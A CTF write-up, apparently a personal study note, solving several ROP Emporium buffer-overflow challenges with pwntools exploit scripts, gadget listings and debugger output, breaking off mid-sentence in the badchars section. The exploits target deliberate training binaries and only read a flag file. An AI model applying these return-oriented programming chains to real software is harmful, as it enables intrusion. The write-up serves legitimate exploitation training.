# Ret2win ## Arch x86-64 - If you only jump to ret2win function, it will happen **Segmentation fault** ``` syjoon@broder$ echo -en "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAV\x07@\x00\x00\x00\x00\x00" | ./ret2win ret2win by ROP Emporium x86_64 For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer! What could possibly go wrong? You there, may I have your input please? And don't worry about null bytes, we're using read()! > Thank you! Well done! Here's your flag: Segmentation fault ``` - Let's debug to find the reason. `0x7ffff7dd9973 <do_system+115>: movaps XMMWORD PTR [rsp],xmm1` It fails at this instruction, so we will search about it. - [Segmentation fault when overwriting the return address](https://stackoverflow.com/questions/74752026/segmentation-fault-when-overwriting-the-return-address) - **Disassembling the code bytes, the faulting instruction is movaps [rsp+0x10], xmm1, whose memory operand must be aligned to 16 bytes. However, rsp has a hex value ending in 8, so rsp+0x10 is not aligned.** - **The rule set out by the x86-64 SysV ABI, which Linux compilers conform to, is that rsp must be a multiple of 16 (i.e. must end in 0) when a call instruction is issued. This means that when the called function begins to execute, then rsp is 8 less than a multiple of 16 (i.e. ends in 8), because of the 8-byte return address that was pushed by call. So when main reaches its ret instruction, with your modified return address on the stack, rsp likewise ends in 8 (all stack modification done within main has been undone at this point). The ret pops the stack once, so you end up at runme with rsp ending in 0, which is wrong.** - I use `dmesg` command and see that. `RSP: 002b:00007fffffffdc28` - [MOVAPS accesses unaligned address](https://stackoverflow.com/questions/35759966/movaps-accesses-unaligned-address) - [Why does the x86-64 / AMD64 System V ABI mandate a 16 byte stack alignment?](https://stackoverflow.com/questions/49391001/why-does-the-x86-64-amd64-system-v-abi-mandate-a-16-byte-stack-alignment) **Let by pass it, the instruction of ROP Emporium write detail.** [Beginners' guide](https://ropemporium.com/guide.html#Common%20pitfalls) > The MOVAPS issue > If you're segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the x86_64 challenges, then ensure the stack is 16-byte aligned before returning to GLIBC functions such as printf() or system(). Some versions of GLIBC uses movaps instructions to move data onto the stack in certain functions. The 64 bit calling convention requires the stack to be 16-byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra **ret** before returning into a function or return further into a function to **skip a push instruction**. ### Calculate offset ``` 0x0000000000400733 <+75>: lea rax,[rbp-0x20] #rbp-0x20 is the address save my input 0x0000000000400737 <+79>: mov edx,0x38 0x000000000040073c <+84>: mov rsi,rax 0x000000000040073f <+87>: mov edi,0x0 0x0000000000400744 <+92>: call 0x400590 <read@plt> ``` ``` gdb-peda$ x $rbp+0x8 0x7fffffffdf28: xlat BYTE PTR ds:[rbx] gdb-peda$ x $rbp-0x20 0x7fffffffdf00: add BYTE PTR [rax],al ``` - Thus, the offset is 40. ### Skip Push intruction Dump of assembler code for function ret2win: ``` 0x0000000000400756 <+0>: push rbp 0x0000000000400757 <+1>: mov rbp,rsp 0x000000000040075a <+4>: mov edi,0x400926 0x000000000040075f <+9>: call 0x400550 <puts@plt> 0x0000000000400764 <+14>: mov edi,0x400943 #I will jump here 0x0000000000400769 <+19>: call 0x400560 <system@plt> 0x000000000040076e <+24>: nop 0x000000000040076f <+25>: pop rbp 0x0000000000400770 <+26>: ret ``` **My script** ```python= from pwn import * r = process('./ret2win') r.recvuntil(b'> ') r.sendline(b'A'*40 + p64(0x400764)) r.interactive() ``` ### Ret - Find the gadget ret. `syjoon@broder$ ROPgadget --binary ./ret2win --ropchain | grep ret` - I see what we want `0x000000000040053e : ret` #### **My script** ```python= from pwn import * r = process('./ret2win') r.recvuntil(b'> ') r.sendline(b'A'*40 + p64(0x40053e) + p64(0x400756)) r.interactive() ``` ## Arch 32-bit - It is easier than arch x86-64, because you don't get Segmentation fault. ### Calculate offset ``` 0x0804860b <+94>: lea eax,[ebp-0x28] #ebp-0x28 is the address save my input 0x0804860e <+97>: push eax 0x0804860f <+98>: push 0x0 0x08048611 <+100>: call 0x80483b0 <read@plt> ``` ``` gdb-peda$ x $ebp-0x28 0xffffd060: 0x00000000 gdb-peda$ x $ebp+0x4 0xffffd08c: 0x08048590 ``` - Thus, the offset is 44. #### **My script** ```python= from pwn import * r = process('./ret2win32') r.recvuntil(b'> ') r.sendline(b'A'*44 + p32(0x0804862c)) r.interactive() ``` # Split ## Arch x86-64 - Use `nm split` to see function in the program and find what we need to exploit; I see that usefulFunction. So, I will debug it. ![image](https://hackmd.io/_uploads/BJK9IU9k0.png) - We will find what agrument input to system - ![image](https://hackmd.io/_uploads/r1IxDIcJR.png) - ![image](https://hackmd.io/_uploads/B1iQw8cyR.png) - It seems that, that will call system("/bin/ls") - Another approach is that you can use radare2, which is very nice. - ![image](https://hackmd.io/_uploads/SJM_UI5JR.png) - ![image](https://hackmd.io/_uploads/Sk6_IL9JA.png) - However, I want to cat flag instead of ls. So, let's find it. In beginners' guide, I see the command. - ![image](https://hackmd.io/_uploads/rJzbOL5kR.png) - Let's do it - ![image](https://hackmd.io/_uploads/SyoGd8qkC.png) - Now, we have system function, string "/bin/cat flag.txt", possible to control return address. Therefore, we will exploit it. - Look at calling convention again. **The kernel interface uses %rdi, %rsi, %rdx, %r10, %r8 and %r9**. - So, if you want to pass "/bin/cat flag.txt" to systeam, you must put it into rdi. You also can see it in usefulFunction, "/bin/ls" is pass in edi. - So what we want is that "pop rdi ; ret", let's find it - ![image](https://hackmd.io/_uploads/HkbLFI9yR.png) - Now, we can calcualte offset to overwrite, it is easy, and we have gadget, address of "/bin/cat flag.txt", address of system function(). Thus, we can exploit it. #### **My script** ```python= from pwn import * r = process('./split') r.recvuntil(b'> ') r.sendline(b'a'*40 +p64(0x4007c3) +p64(0x601060) +p64(0x40074b) ) r.interactive() ``` ## Arch 32-bit - It will take agrument from the stack, so you need to push "/bin/cat flag.txt" into stack. - The work is similar with arch x86-64bit. #### **My script** ```python= from pwn import * r = process('./split32') r.recvuntil(b'> ') r.sendline( b'A'*44 +p32(0x804861a) + p32(0x804a030) ) r.interactive() ``` # Callme ## Arch x86-64 **I list some source will give us knowledge about it** - [Load-time relocation of shared libraries](https://eli.thegreenplace.net/2011/08/25/load-time-relocation-of-shared-libraries/) - Note that shared libraries have many names - shared libraries, shared objects, dynamic shared objects (DSOs), dynamically linked libraries (DLLs - if you're coming from a Windows background). - Linux, similarly to other OSes with virtual memory support, loads executables to a **fixed memory address.** - When linking the executable, can fully resolve all internal symbol references (to functions and data) to fixed and final locations. The linker does some relocations of its own , but eventually the output it produces contains no additional relocations. As long as the executable needs no shared libraries, it needs no relocations. But if it does use shared libraries (as do the vast majority of Linux applications), symbols taken from these shared libraries need to be relocated, because of how shared libraries are loaded. - Unlike executables, when shared libraries are being built, the linker can't assume a known load address for their code. The reason for this is simple. **Each program can use any number of shared libraries**, and there's simply no way to know in advance where any given shared library will be loaded in the process's virtual memory. - [Position independent code(PIC) in shared libraries](https://eli.thegreenplace.net/2011/11/03/position-independent-code-pic-in-shared-libraries/) After that, I spent many times reading the two pages above. The challenge gives us informations(we don't need the reverse). If you don't read them, you can also exploit the program successfully; however, you should follow those pages. ![image](https://hackmd.io/_uploads/BkJFzHhyA.png) - [Beginnings' guide](https://ropemporium.com/guide.html#Appendix%20A) for this challenge. - It requires 3 agruments for function, look again at the calling convention, so we must push the agrument to rdi, rsi, rdx before calling function. - The work as always. ### **Let's gooo** - I use `nm callme`, and see the new special function usefulGadgets. Let's check it. - ![image](https://hackmd.io/_uploads/B1Fu4H2k0.png) - Oh, this is what we want to pass agruments. Therefore, my work is easier. - We only find address of call_me_one, call_me_two, call_me_three and the offset. - However, when I run my script, this program has the problem the same as ret2win. Thus, I need a gadget "ret" before doing something. ``` ROPgadget --binary ./callme --ropchain | grep "ret" ``` 0x00000000004006be : ret #### **My script** ```python= from pwn import * offset = b"A"*40 arg1 = p64(0xdeadbeefdeadbeef) arg2 = p64(0xcafebabecafebabe) arg3 = p64(0xd00df00dd00df00d) usefulGadgets = p64(0x40093c) call_me_one = p64(0x400720) call_me_two = p64(0x400740) call_me_three = p64(0x4006f0) gadger_ret = p64(0x4006be) take_agr = usefulGadgets + arg1 + arg2 + arg3 payload = offset + gadger_ret + take_agr + call_me_one + take_agr + call_me_two + take_agr + call_me_three r = process('./callme') r.recvuntil(b'> ') r.sendline(payload) r.interactive() ``` ## Arch 32 bit **It is not easy for me, I think it is very nice challenge.** Let's me check what the challenge do. - It also has pwnme(to read input), usefulFunction(include callme_one,callme_two, callme_three). - You need to call function. - ![image](https://hackmd.io/_uploads/BJVLvNCkR.png) - The agrument of each function is on the stack. **Note that:** I won't show how to calculate the offset, find address of function; the work is the same as above challenge. First, I try to do something. ```python= from pwn import * offset = b"A"*44 arg1 = p32(0xdeadbeef) arg2 = p32(0xcafebabe) arg3 = p32(0xd00df00d) call_me_one = p32(0xf7fbb63d) call_me_two = p32(0xf7fbb755) call_me_three = p32(0xf7fbb855) take_agr = arg1 + arg2 + arg3 payload = offset + call_me_one + take_agr + call_me_two + take_agr + call_me_three + take_agr r = process('./callme32') r.recvuntil(b'> ') r.sendline(payload) r.interactive() ``` I take the result: > Thank you! > Incorrect parameters **To make the code and the stack easier to understand, I will check for each function until it is successfull.** ### The problem Thus, I debug to find the reason. *In **callme_one** function.* ![image](https://hackmd.io/_uploads/B1ozK40kC.png) ![image](https://hackmd.io/_uploads/BJRrqNRJR.png) It seems that the agrument is of by 4 bytes for my purpose. Oh, it is that. - On the other hand, you can use r2 to see what happens quickly - `r2 libcallme32.so` - ![image](https://hackmd.io/_uploads/HyN5ZSAy0.png) - I check the stack after my input. - ![image](https://hackmd.io/_uploads/rJeIRECyR.png) - After I jump to callme_one. - ![image](https://hackmd.io/_uploads/HJoW1S0yC.png) - ![image](https://hackmd.io/_uploads/rk-FJHC1A.png) - My ebp points to 0xffffd03c(contain 0x41414141: AAAA). It is my input in front of the address of callme_one. Hmm, I notice that there are some problems. We know that we can only add 4 bytes and get the correct parameters. ``` take_agr = b"B"*4 + arg1 + arg2 + arg3 payload = offset + call_me_one + take_agr ``` *I use 'B' instead of 'A' to check wrong when the problem occurs* ![image](https://hackmd.io/_uploads/HyS4zrRyC.png) ![image](https://hackmd.io/_uploads/S1ROMSRJC.png) ![image](https://hackmd.io/_uploads/HJP3SrCJ0.png) ### More explantation **Yep, and that is the real thing, after the address of callme_one on the stack, we need to input the address of callme_two after. I think you can know what happens after jump to callme_two successfull. However, I will make my exploitation step-by-step, If you know that, you can skip it.** ``` take_agr1 = callme_two + arg1 + arg2 + arg3 take_arg2 = arg1 + arg2 + arg3 payload = offset + call_me_one + take_agr1 + take_arg2 ``` ![image](https://hackmd.io/_uploads/Hk1SUrRyR.png) It is still wrong; however, the program get the Incorrect parameters instead of Segmentation fault. *Let's check something wrong.* - ![image](https://hackmd.io/_uploads/SJBpPrCJR.png) - It seems that everything is cleaner. The status of the program before jumping to callme_two. - ![image](https://hackmd.io/_uploads/Hy4zOSAy0.png) - ![image](https://hackmd.io/_uploads/Bk5CdB010.png) When we compare the agrument - ![image](https://hackmd.io/_uploads/H1irKSRJC.png) Okay, we will analyze the problem here. - callme_one take agrument at ``` argo : 0xffffd044 --> 0xdeadbeef arg1 : 0xffffd048 --> 0xcafebabe arg2 : 0xffffd04c --> 0xd00df00d ``` - callme_two take agrument at ``` argo : 0xffffd048 --> 0xcafebabe arg1 : 0xffffd04c --> 0xd00df00d arg2 : 0xffffd05c ``` **So I have the conflict; If I try to pass correct agruments to one function, the other function won't work.** ### The solution #### The easy approach I will describe in the quote. ``` 0000| 0xffffd03c --> 0xf7fbb63d (<callme_one>: push ebp) 0004| 0xffffd040 --> 0xf7fbb755 (<callme_two>: push ebp) //the return after callme_one 0008| 0xffffd044 --> 0xdeadbeef //agr0 : callme_one 0012| 0xffffd048 --> 0xcafebabe //agr1 : callme_two 0016| 0xffffd04c --> 0xd00df00d //agr2 : callme_three 0020| 0xffffd050 --> 0xdeadbeef 0024| 0xffffd054 --> 0xcafebabe 0028| 0xffffd058 --> 0xd00df00d ``` My idea is that we will clean up the three elements of the previous function on the stack before jumping to the next function. The follow of the program will be: `callme_one -> take agruments -> clean up -> callme_two -> take agruments -> clean up -> callme_three -> take agruments` **I will find the gadget which contains pop, pop, pop and ret.** ![image](https://hackmd.io/_uploads/BkVnyICJ0.png) **Note that if the program does something with the above registers, it can crash.** **My script** ```python= from pwn import * offset = b"A"*44 arg1 = p32(0xdeadbeef) arg2 = p32(0xcafebabe) arg3 = p32(0xd00df00d) usefulGadgets = p32(0x080487f9) call_me_one = p32(0xf7fbb63d) call_me_two = p32(0xf7fbb755) call_me_three = p32(0xf7fbb855) first = call_me_one + usefulGadgets + arg1 + arg2 + arg3 second = call_me_two + usefulGadgets + arg1 + arg2 + arg3 third = call_me_three + usefulGadgets + arg1 + arg2 + arg3 payload = offset + first + second + third print(payload) r = process('./callme32') r.recvuntil(b'> ') r.sendline(payload) r.interactive() ``` #### The hardcore but effcicent method According to my explanation, the program have the conflict; If I try to pass correct agruments to one function, the other function won't work. At the above solution, I pop values on the stack to esi, edi, ebp. However, it doesn't usually work. Thus, I try to use another gadget that doesn't affect many to registers. > ex: leave ; ret **See what [leave instruction](https://www.bing.com/search?pglt=169&q=what+is+leave+in+assembly+work&cvid=ca489cb537b24e9a8c97c847581a4d3f&gs_lcrp=EgZjaHJvbWUqBggAEEUYOzIGCAAQRRg7MgYIARAAGEAyBggCEEUYOTIGCAMQABhAMgYIBBAAGEAyBggFEAAYQDIGCAYQABhAMgYIBxAAGEAyBggIEAAYQNIBCDMyMTVqMGoxqAIAsAIA&FORM=ANNTA1&PC=U531) work** ![image](https://hackmd.io/_uploads/SygYPtCyC.png) I see what we need at the address 0x080485f5. I will list what something will work on the stack, I hope you can understand it. ``` offset (40 bytes) (1)overwrite at the address ebp : address of ebp which will clean up agr of callme_one (ebp1) addr of callme_one gadget leave; ret agr1 agr2 agr3 (2)Address is ebp1: overwrite one place on the stack : address of ebp which will clean up agr of callme_two (ebp2) addr of callme_two gadget leave; ret arg1 arg2 arg3 (3)Address is ebp2: "A"*4 addr of callme_three return address to the main after pwnme(not necessary because after callme_three the program will exit) arg1 arg2 arg3 ``` **Let's do some math** - ebp in pwnme function: 0xffffd038 - The offset will overwrite the return address of function pwnme : 44 - The offset will overwrite the ebp of function pwnme : 40 - The offset of the address of callme_one and agrument1 on the stack: 4 - The offset between (1) and (2) : 24, so ebp1 should be: 0xffffd050 - The offset between (2) and (3) : 24, so ebp2 should be: 0xffffd068 #### **My script** ```python= from pwn import * offset = b"A"*40 arg1 = p32(0xdeadbeef) arg2 = p32(0xcafebabe) arg3 = p32(0xd00df00d) usefulGadgets = p32(0x080485f5) # leave; ret call_me_one = p32(0xf7fbb63d) call_me_two = p32(0xf7fbb755) call_me_three = p32(0xf7fbb855) ebp1 = p32(0xffffd050) ebp2 = p32(0xffffd068) ret_main = p32(0x080486d0) first = call_me_one + usefulGadgets + arg1 + arg2 + arg3 second = call_me_two + usefulGadgets + arg1 + arg2 + arg3 third = call_me_three + ret_main + arg1 + arg2 + arg3 payload = offset + ebp1 + first + ebp2 + second + b"A"*4 + third print(payload) r = process('./callme32') r.recvuntil(b'> ') r.sendline(payload) r.interactive() ``` **I have the segmentation fault when I run this script; however, when I take the payload and run it in gdb, it exploits it successfully and doesn't happen wrong.** In gdb - ![image](https://hackmd.io/_uploads/ryBox9RkC.png) - ![image](https://hackmd.io/_uploads/S1j2g9C10.png) When I run script or outside gdb - ![image](https://hackmd.io/_uploads/SJ2z-c01C.png) - ![image](https://hackmd.io/_uploads/SyIVb5AkR.png) # Write4 ## Arch x86-64 The challenge component our skills in the previous challenge - Calculate offset and the number in stack to jump - Find the suitable gadget for our purpose - Calling convention - Add new skill: specify the space for writing **Notice that, you must run the program once to specify a clear code and address** Look around the guide for this challenge [write4](https://ropemporium.com/challenge/write4.html) ### Okay, we will find something useful ![image](https://hackmd.io/_uploads/H1jwZJXxC.png) - I notice functions: print_file and usefulFunction - ![image](https://hackmd.io/_uploads/Hkh171mg0.png) - ![image](https://hackmd.io/_uploads/r1Kx7JQgA.png) - As you see, the addresses of the print_file@plt and print_file function are very different. You can check my note in the challenge(callme) again. If you call one of them, it still works. I also use radare2 to check it again - ![image](https://hackmd.io/_uploads/SJS_N17gR.png) Thus, we know that the program gives us the function to print the file with the parameter passed. The first idea is that we must put string "flag.txt" into rdi and call the function - ![image](https://hackmd.io/_uploads/ryh3r17e0.png) - Excellent, this is what we want. ### The bad path =))) First, I think it is simple=)) **My script** ```python= from pwn import * offset = b'A'*40 pop_rdi = p64(0x400693) print_file = p64(0x7ffff7c00943) ret = p64(0x4004e6) payload = offset payload += pop_rdi payload += b'flag.txt' payload += ret payload += print_file print(payload) with open("debug", "wb") as binary_file: binary_file.write(payload) r = process('./write4') r.recvuntil(b'> ') r.sendline(payload) r.interactive() ``` - It seems that everything will be okay but progam doesn't work. - I write the payload to my file for quick debugging. - I see the problem happens in the instruction. - ![image](https://hackmd.io/_uploads/HkML9k7xR.png) > rdi may be point to the memory we don't have permission to access - The reason for that is "flag.txt" is not a pointer, which the parameter for fopen. - So I read the guide for this challenge and look for a new way. ### The path Now, we must find the method to pass this string into the stack, let's check gadgets carefully ``` Gadgets information ============================================================ 0x000000000040057e : adc byte ptr [rax], ah ; jmp rax 0x0000000000400502 : adc cl, byte ptr [rbx] ; and byte ptr [rax], al ; push 0 ; jmp 0x4004f0 0x0000000000400549 : add ah, dh ; nop dword ptr [rax + rax] ; repz ret 0x000000000040061e : add al, bpl ; jmp 0x400621 0x000000000040061f : add al, ch ; jmp 0x400621 0x000000000040054f : add bl, dh ; ret 0x000000000040069d : add byte ptr [rax], al ; add bl, dh ; ret 0x000000000040069b : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret 0x0000000000400507 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x4004f0 0x0000000000400611 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret 0x00000000004005fc : add byte ptr [rax], al ; add byte ptr [rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400590 0x000000000040069c : add byte ptr [rax], al ; add byte ptr [rax], al ; repz ret 0x00000000004005fd : add byte ptr [rax], al ; add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400590 0x0000000000400509 : add byte ptr [rax], al ; jmp 0x4004f0 0x0000000000400586 : add byte ptr [rax], al ; pop rbp ; ret 0x00000000004005fe : add byte ptr [rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400590 0x000000000040054e : add byte ptr [rax], al ; repz ret 0x0000000000400585 : add byte ptr [rax], r8b ; pop rbp ; ret 0x000000000040054d : add byte ptr [rax], r8b ; repz ret 0x00000000004005ff : add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400590 0x00000000004005e7 : add byte ptr [rcx], al ; pop rbp ; ret 0x0000000000400517 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x4004f0 0x00000000004005e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; repz ret 0x00000000004004e3 : add esp, 8 ; ret 0x00000000004004e2 : add rsp, 8 ; ret 0x0000000000400548 : and byte ptr [rax], al ; hlt ; nop dword ptr [rax + rax] ; repz ret 0x0000000000400504 : and byte ptr [rax], al ; push 0 ; jmp 0x4004f0 0x0000000000400514 : and byte ptr [rax], al ; push 1 ; jmp 0x4004f0 0x00000000004004d9 : and byte ptr [rax], al ; test rax, rax ; je 0x4004e2 ; call rax 0x00000000004006ff : call qword ptr [rax + 1] 0x0000000000400624 : call qword ptr [rax - 0x76b23ca3] 0x0000000000400793 : call qword ptr [rax] 0x00000000004007b3 : call qword ptr [rcx] 0x00000000004004e0 : call rax 0x000000000040067c : fmul qword ptr [rax - 0x7d] ; ret 0x000000000040054a : hlt ; nop dword ptr [rax + rax] ; repz ret 0x0000000000400603 : in eax, 0x5d ; jmp 0x400590 0x000000000040061a : in eax, 0xbf ; mov ah, 6 ; add al, bpl ; jmp 0x400621 0x00000000004004de : je 0x4004e2 ; call rax 0x0000000000400579 : je 0x400588 ; pop rbp ; mov edi, 0x601038 ; jmp rax 0x00000000004005bb : je 0x4005c8 ; pop rbp ; mov edi, 0x601038 ; jmp rax 0x00000000004002cc : jmp 0x4002a1 0x000000000040050b : jmp 0x4004f0 0x0000000000400605 : jmp 0x400590 0x0000000000400621 : jmp 0x400621 0x0000000000400289 : jmp 0xffffffffca1caa68 0x00000000004006cf : jmp qword ptr [rax + 0x60000000] 0x00000000004006d7 : jmp qword ptr [rax] 0x00000000004007d3 : jmp qword ptr [rbp] 0x0000000000400581 : jmp rax 0x000000000040061c : mov ah, 6 ; add al, bpl ; jmp 0x400621 0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret 0x0000000000400629 : mov dword ptr [rsi], edi ; ret 0x0000000000400610 : mov eax, 0 ; pop rbp ; ret 0x0000000000400602 : mov ebp, esp ; pop rbp ; jmp 0x400590 0x000000000040057c : mov edi, 0x601038 ; jmp rax 0x0000000000400628 : mov qword ptr [r14], r15 ; ret 0x0000000000400601 : mov rbp, rsp ; pop rbp ; jmp 0x400590 0x0000000000400625 : nop ; pop rbp ; ret 0x0000000000400583 : nop dword ptr [rax + rax] ; pop rbp ; ret 0x000000000040054b : nop dword ptr [rax + rax] ; repz ret 0x00000000004005c5 : nop dword ptr [rax] ; pop rbp ; ret 0x00000000004005e5 : or ah, byte ptr [rax] ; add byte ptr [rcx], al ; pop rbp ; ret 0x0000000000400512 : or cl, byte ptr [rbx] ; and byte ptr [rax], al ; push 1 ; jmp 0x4004f0 0x00000000004005e4 : or r12b, byte ptr [r8] ; add byte ptr [rcx], al ; pop rbp ; ret 0x000000000040068c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040068e : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400690 : pop r14 ; pop r15 ; ret 0x0000000000400692 : pop r15 ; ret 0x0000000000400604 : pop rbp ; jmp 0x400590 0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax 0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400588 : pop rbp ; ret 0x0000000000400693 : pop rdi ; ret 0x0000000000400691 : pop rsi ; pop r15 ; ret 0x000000000040068d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400506 : push 0 ; jmp 0x4004f0 0x0000000000400516 : push 1 ; jmp 0x4004f0 0x0000000000400600 : push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400590 0x0000000000400550 : repz ret 0x00000000004004e6 : ret 0x00000000004004dd : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret 0x00000000004004d7 : sbb eax, 0x4800200b ; test eax, eax ; je 0x4004e2 ; call rax 0x00000000004006a5 : sub esp, 8 ; add rsp, 8 ; ret 0x00000000004006a4 : sub rsp, 8 ; add rsp, 8 ; ret 0x000000000040069a : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; repz ret 0x00000000004004dc : test eax, eax ; je 0x4004e2 ; call rax 0x00000000004004db : test rax, rax ; je 0x4004e2 ; call rax 0x0000000000400288 : xchg ecx, eax ; jmp 0xffffffffca1caa68 ``` **I notice the special gadgets** `mov qword ptr [r14], r15 ; ret` - If you can write to r14 and r15, those registers can be controlled One more gadget can be useful `pop r14 ; pop r15 ; ret` Now, we can write the value to r15, address to r14 and pass the value to this address. So, we must find the address where it is possible to write. ![image](https://hackmd.io/_uploads/BJEkNxmlR.png) You can see in .data(WA), so we can write to this. Let's check the address of this ![image](https://hackmd.io/_uploads/SJDErxmg0.png) #### My script We have enough information, therefore, we will write script. ```python= from pwn import * offset = b'A'*40 popr14_popr15_ret = p64(0x400690) movr14_r15_ret = p64(0x400628) pop_rdi = p64(0x400693) print_file = p64(0x400510) # you also can use 0x7ffff7c00943 ret = p64(0x4004e6) #I have problem in alignment, look at challenge ret2win again payload = offset payload += popr14_popr15_ret payload += p64(0x601028) payload += b'flag.txt' payload += movr14_r15_ret payload += pop_rdi payload += p64(0x601028) payload += ret payload += print_file print(payload) with open("my_file.txt", "wb") as binary_file: binary_file.write(payload) r = process('./write4') r.recvuntil(b'> ') r.sendline(payload) r.interactive() ``` ## Arch 32 bit ### Let's check it ![image](https://hackmd.io/_uploads/H1GySkNxC.png) - Thus, offset is 44 ![image](https://hackmd.io/_uploads/HJ5KykVxA.png) - You can see usefulGadgets function, check it - ![image](https://hackmd.io/_uploads/SyWGly4e0.png) - Yep, you can move the value to the address store in edi ![image](https://hackmd.io/_uploads/BybKgy4eR.png) - Luckily, we have what you want - `0x080485aa : pop edi ; pop ebp ; ret` ![image](https://hackmd.io/_uploads/H1_Z-yVlR.png) - At .data, you can write here, it starts at `0x0804a018` ![image](https://hackmd.io/_uploads/r1Tub1EeC.png) ### The trick path =)))) Okay, we have enough information to exploit. #### However, look again in architecture; it is 32 bit, you can pass maximum of 4 bytes into the stack and get it. - String "flag.txt" is larger, so we can't read file successfully. I think about the file with the lenght of it is small enough to pass into the register - I try to create a soft link, link file flag.txt to a suitable file, such as flag. #### We must find the address at which fopen read the first parameter If you specify the correct information, you are able to go to this step **Let's debug** ![image](https://hackmd.io/_uploads/Bk6cB1VgA.png) It seems that the address we find is ebp+0x8 or ebp-0x8, set the breakpoint to this. ![image](https://hackmd.io/_uploads/rkv-U1VeA.png) Yeah, it is ebp+0x8 ![image](https://hackmd.io/_uploads/Sk0rL1VgA.png) - Let's do some math, and you can pass correctly. #### My script ```python= from pwn import * from subprocess import * offset = b'A'*44 movedi_ebp_ret = p32(0x08048543) popedi_ebp_ret = p32(0x080485aa) print_file = p32(0x80483d0) adr_permission = p32(0x0804a018) payload = offset payload += popedi_ebp_ret payload += adr_permission payload += b'flag' payload += movedi_ebp_ret payload += print_file payload += b'a'*4 #offset to open file correctly payload += adr_permission p = subprocess.Popen('ln -s flag.txt flag', shell=True) #print(payload) with open("debug", "wb") as binary_file: binary_file.write(payload) r = process('./write432') r.recvuntil(b'> ') r.sendline(payload) r.interactive() ``` ### The right path I come back from the badchars challenge, I think I must do it correctly, not trick. - String "flag.txt" is larger, so we can't read file successfully. Every time you pass the string to the stack, you can only pass max 4 bytes, such as "flag" - If one time is not enough, what about two? This is a good idea, so try to do it - In the first, I pass "flag" to the address 0x0804a018. - And the continuation of this string to the above address is 0x804a01c. - So I will pass ".txt" to this address(0x804a01c) **Everything is clear.** #### My script ```python= from pwn import * from subprocess import * offset = b'A'*44 movedi_ebp_ret = p32(0x08048543) popedi_ebp_ret = p32(0x080485aa) print_file = p32(0x80483d0) adr_permission = p32(0x0804a018) adr_permission_continue = p32(0x804a01c) payload = offset payload += popedi_ebp_ret payload += adr_permission payload += b'flag' payload += movedi_ebp_ret payload += popedi_ebp_ret payload += adr_permission_continue payload += b'.txt' payload += movedi_ebp_ret payload += print_file payload += b'a'*4 payload += adr_permission #p = subprocess.Popen('ln -s flag.txt flag', shell=True) #print(payload) with open("debug", "wb") as binary_file: binary_file.write(payload) r = process('./write432') r.recvuntil(b'> ') r.sendline(payload) r.interactive() ``` # Badchars ## Arch x86_64 Some informations about this challenge: - [Guide](https://ropemporium.com/challenge/badchars.html) - [What is Shikata Ga Nai](https://security.stackexchange.com/questions/130256/what-is-shikata-ga-nai#:~:text=Shikata%20Ga%20Nai%20isn%27t%20a%20payload%2C%20but%20an,victim%20out%20of%20the%20payload%2C%20like%20null%20bytes.) - Shikata Ga Nai isn't a payload, but an encoder. The payload is the reverse shell. - Metasploit offers several encoders, Shikata Ga Nai being one of them. An encoder attempts to overcome detection by AV, network intrusion detection, and keep characters that can cause a crash of the victim out of the payload, like null bytes. ### Let's check ![image](https://hackmd.io/_uploads/Syh5gENxA.png) As you see, this challenge bans four digits: 'x', 'g', 'a', '.'; however, the string "flag.txt" contains all. **You must find the way to bypass it.** ![image](https://hackmd.io/_uploads/BkbEL4EgR.png) - offset: 40. ![image](https://hackmd.io/_uploads/rJHiN4Nl0.png) ![image](https://hackmd.io/_uploads/HJMlH44eR.png) - `0x0000000000400620 <+9>: call 0x400510 <print_file@plt>` ![image](https://hackmd.io/_uploads/ryNUuVEgA.png) > .data start at address: 0x0000000000601028 and possible to write When I use command `ROPgadget --binary ./badchars --ropchain` **I see some special gadgets** `0x0000000000400634 : mov qword ptr [r13], r12 ; ret` , then I try to find the gadget, may be pop r12, pop r13..... Luckily, I see gadget `0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret` And other gadgets ``` 0x00000000004006a3 : pop rdi ; ret ``` ``` 0x00000000004004ee : ret ``` ### Trick or no trick =)))) I think about softlink from the previous challenge, it still works. Therefore, I don't know if this method is trick or no trick=)), I still give this idea to you. I will come back to challenge write4 (32 bit) after this challenge. #### My script ```python= from pwn import * from subprocess import * offset = b'A'*40 popr12_r13_r14_r15_ret = p64(0x40069c) movr13_r12_ret = p64(0x400634) poprdi_ret = p64(0x4006a3) addr_str = p64(0x601028) ret = p64(0x4004ee) print_file = p64(0x400510) p = subprocess.Popen("ln -s flag.txt zzzzzzzz", shell=True) payload = offset payload += popr12_r13_r14_r15_ret payload += b'zzzzzzzz' payload += addr_str payload += p64(1) payload += p64(1) payload += movr13_r12_ret payload += poprdi_ret payload += addr_str payload += ret payload += print_file #print(payload) with open("debug", "wb") as binary_file: binary_file.write(payload) r = process('./badchars') r.recvuntil(b'> ') r.sendline(payload) r.interactive() ``` ### The right path We must use another filename as the parameter(not 